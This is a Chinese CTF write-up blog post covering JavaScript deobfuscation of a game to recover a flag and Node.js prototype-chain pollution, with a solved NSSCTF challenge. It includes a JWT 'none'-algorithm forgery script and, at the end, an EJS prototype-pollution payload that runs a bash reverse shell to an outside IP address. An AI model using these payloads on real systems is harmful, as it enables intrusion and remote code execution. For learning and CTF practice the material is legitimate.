JS混淆加密&JS原型链污染笔记

前言

web2

JS混淆加密+CTF例题题解

一个小游戏需要玩到114514分才能得到flag

图片[1],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

要玩到114514分要好久好久,所以肯定要想其他解法,

这题有多种解法,修改游戏逻辑(难)解密js混淆加密(中) 解密md5(易)

这里要介绍js混淆 也就采用第二种方法(实际上比赛的时候也是用第二种方法解的)

图片[2],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

查看源代码,查看游戏逻辑js

图片[3],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

仔细查看一下

图片[4],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网
function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =
_0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =
_0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =
_0x104914[_0x22f014]; return _0x321373; }; return
_0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799)
{
//...................省略大量代码
function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =
_0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =
_0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =
_0x104914[_0x22f014]; return _0x321373; }; return
_0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799)
{
//...................省略大量代码
function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 = _0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 = _0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 = _0x104914[_0x22f014]; return _0x321373; }; return _0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799) { //...................省略大量代码

上述即是js混淆加密的明显特征 对function函数体内容进行了混淆加密

只是解密网站要找好久,网上真正可以解密js混淆的网站很少

https://m.freebuf.com/articles/web/391884.html 最后是在这个网站上学习并且找到的解密网站

js混淆加密在线解密网站https://deobfuscate.relative.im/ 用了好长时间找,现在分享出来了 希望能收藏一下

拿到解密网站,对game.js进行解密

搜索逻辑赢得的游戏逻辑114514

图片[5],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

可以看到给了一个ascii码的数组

只需ascii码转为字符即可拿到flag

num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)
num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)
num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)
图片[6],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

node.JS原型链污染

Web中的高端局

前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同

proto&prototype

图片[7],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

他们的关系如下

图片[8],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

实操便于更好理解

先定义o1={a:1,b:2} 定义o2={c:3,d:4}

我们两个都走上一级皆是object的对象 期中object为null 因为我们没有new 出一个对象

再网上走 两者o1,o2都是null

图片[9],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

接下来我们令o1下的name=“hello world”

并且输出o1.name

图片[10],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

此时o2的name没有定义 如果输出o2.name理论上是null

但实际上却是与o1共享name

图片[11],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

此时就能大概猜测出原型链污染的原理了 二者共享object父级 通过污染父级以达到污染子类的目的

此时我们进一步扩大危害 在此基础上定义o1对象下的一个函数func

o1.proto.func=function(){return this.a+1}

图片[12],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

并且调用一下o1的函数

图片[13],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

此时我们对于o2调用函数

图片[14],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

实际上o1和o2共享object的原型父级 object本身也是一个对象

期中对象.proto=构造器(构造函数).prototype

图片[15],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

此时我们引入constructor

constructor用于指向构造函数

图片[16],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网
图片[17],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网
图片[18],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

JS中原型链重要作用

再次提到前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同

此时我们按照正常思维去创造一个对象(在在对象中定义一个函数)

图片[19],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

输出结果

图片[20],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

那么如果我们想调用this.show就必须重新生成一个对象来调用show 方法

也就说this.show是绑定在Goo对象当中

但是在python 或者C/C++中定义的函数都是在类当中 每次生成一个对象都重新生成一次show()方法

这样极其耗费内存 我们只想生成一次this.show

此时我们就可以运用prototype来使用了

我们把show对象调用在Goo之外

图片[21],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

这样我们每次调用show方法的时候 只需要调用之前用prototype生成的方法总共一次

直接省去了加载的过程

图片[22],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

原型链继承举例介绍

以继承链为污染讲解

例题:

图片[23],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

我们定义了两个对象 一个Father 还有一个Son

我们使用rce new出一个新对象

并且输出rce.lastname 此时我们并没有定义rce.lastname输入应该是报错或者是null

此时我们查看结果

图片[24],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

子类继承了父类的Fater并且输出了Src

总结:

图片[25],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

JavaScript中原型链污染的例题介绍

正如最开始的原型链介绍的修改是在node.js里的原型链污染

下面在JavaScript进行演示原型链污染

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
zoo={a:618}
console.log(zoo.a)
zoo.__proto__.a=888
console.log(zoo.a) //此时并没有修改a本身的值
let b={}//定义一个空对象
console.log(b.a)//尝试输出空对象下的zoo中的a
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
      zoo={a:618}
      console.log(zoo.a)
      zoo.__proto__.a=888
      console.log(zoo.a) //此时并没有修改a本身的值
      let b={}//定义一个空对象
      console.log(b.a)//尝试输出空对象下的zoo中的a
    </script>
</body>
</html>
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script> zoo={a:618} console.log(zoo.a) zoo.__proto__.a=888 console.log(zoo.a) //此时并没有修改a本身的值 let b={}//定义一个空对象 console.log(b.a)//尝试输出空对象下的zoo中的a </script> </body> </html>
图片[26],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

何时可以利用js原型链污染

当可以控制js中数组的键名的时候就可以污染原型链

下面将以CTF题介绍

高端局JS原型链污染CTF题

发觉Vemonctf原型链比较简单哒 所以就来个nssctf中的原型链的题

这题还是有点难搞

靶机地址:

图片[27],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

图片[28],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

查看源代码

图片[29],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

访问/source

图片[30],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

泄露源代码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');
global.secrets = [];
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')
const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const session = require('express-session'); const randomize = require('randomatic'); const jwt = require('jsonwebtoken') const crypto = require('crypto'); const fs = require('fs'); global.secrets = []; express() .use(bodyParser.urlencoded({extended: true})) .use(bodyParser.json()) .use('/static', express.static('static')) .set('views', './views') .set('view engine', 'ejs') .use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true })) .get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') } }) .get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename)); }) .all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } } }) .all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); } }) .all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null }) }) .post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home'); }) .listen(827, '0.0.0.0')

留下代码,先进行注册

图片[31],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

得到了token进行尝试登录

图片[32],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

尝试更改UID

图片[33],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

好了也就只能到这一步了

下面进行代码审计

已经不是第一次感觉打CTF的啥都要学了

长话短说 哎不想敲了

图片[34],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

jwt可以通过加密算法以及token的值可以判断出来 也在之前的比赛遇见过

进行解密

图片[35],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

再次进行代码审计

图片[36],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

可以看出如果用户不等于nss就弹出U cant change uid

所以我们需要伪造一下nss的token

继续代码审计检查一下加密算法

图片[37],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

verify()指定算法的正确方式应该是通过algorithms传入数组 而这里少了个s

跟ctfshow的php反序列化里面的题好像 都是写错了 这种在实战上属于是万里挑一才能审计出来 太难了

在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。

在这里指定了算法HS256 但是他少写了个s 此时为空就被允许了

jwt 审计的误用从一道CTF题看Node.JS中的JWT库误用 – SecPulse.COM | 安全脉搏

里面包含poc

图片[38],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

审计代码

图片[39],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网
图片[40],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

sid为空数组也就是JWT中的secretid为空数组[]就可以伪造

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
secretid: [],
username: 'nss',
password: '123456',
"iat":1693372851
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);
const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
  secretid: [],
  username: 'nss',
  password: '123456',
  "iat":1693372851
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);
const jwt = require('jsonwebtoken'); global.secrets = []; var user = { secretid: [], username: 'nss', password: '123456', "iat":1693372851 } const secret = global.secrets[user.secretid]; var token = jwt.sign(user, secret, {algorithm: 'none'}); console.log(token);
图片[41],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

图片[42],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

继续代码审计

图片[43],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

merge以及clone都是js原型链污染的非常常见的切入点

此时的路由指向/update 使用的方法是post 接受data

ejs模板引擎污染拿flag即可

{
"__proto__":{
"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true
}
}
{
    "__proto__":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true
    }
}
{ "__proto__":{ "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true } }
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞12 分享
When your faith is stronger than your fears, you can make your dreams happen.
当你的信念强于你的胆怯时,你就可以将梦想变为现实了
评论 共17条

请登录后发表评论

    • 头像gacor0
    • 头像seosearchoptimizationpro0
    • 头像Daftar Rajaspin0
    • 头像Login Rajaspin0
    • 头像Jakob Cormier0
    • 头像Adella Becker0
    • 头像Hollis Bosco0
    • 头像Heaven Reilly0
    • 头像Mabel Kutch0
    • 头像Domenico Medhurst0
    • 头像Zaria Hills0
    • 头像Brian Spencer0
    • 头像Brandt Anderson0
    • 头像Stanley Balistreri0
    • 头像Katelyn Harvey0
    • 头像Cornelius Mosciski0
    • 头像Malachi Miller0